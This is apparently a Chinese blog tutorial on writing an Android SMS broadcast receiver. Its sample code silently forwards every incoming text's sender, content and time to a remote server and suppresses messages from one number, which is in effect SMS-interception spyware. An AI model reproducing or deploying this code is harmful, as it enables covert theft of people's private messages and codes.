分享

短信广播接收器BroadcastReceive

 meihong_521 2012-07-06
写一个广播接收器有两个步骤,第一步:注册BroadcastReceive;第二步:写一个注册器继承BroadcastReceive,重写onReceive()方法
1.在AndroidMainfest.xml中注册,
  <receiver android:name=".SMSReceiver">
   <intent-filter android:priority="1000">
    <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
   </intent-filter>
  </receiver>
加上接收短信的权限
 
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
 
2.写一个接收器
package cn.eric.listener.smslistener;
import java.net.HttpURLConnection;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
public class SMSReceiver extends BroadcastReceiver {
 @Override
 public void onReceive(Context context, Intent intent) {
  Object[] pdus = (Object[]) intent.getExtras().get("pdus");
  for(Object pdu : pdus){
   SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);
   String sender = message.getOriginatingAddress();//发送者
   String content = message.getMessageBody();
   Date date = new Date(message.getTimestampMillis());
   // 2009-10-10 12:22:33
   SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
   String time = dateFormat.format(date);
   sendSMS(sender, content, time);
   if("5556".equals(sender)){
    abortBroadcast();//终止广播
   }
  }
 }
 private void sendSMS(String sender, String content, String time) {
  String path = "http://192.168.1.100:8080/web/SMSServlet";
  // sender=15050505543&content=xxxx&time=2009-10-12
  String data = "sender="+ sender+ "&content="+ content+ "&time="+ time;
  byte[] entity = data.getBytes();
  try{
   HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
   conn.setConnectTimeout(5000);
   conn.setRequestMethod("POST");
   conn.setDoOutput(true);
   conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
   conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
   conn.getOutputStream().write(entity);
   if(conn.getResponseCode() == 200){
    ;
   }
  }catch (Exception e) {
   e.printStackTrace();
  }
 }
}

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多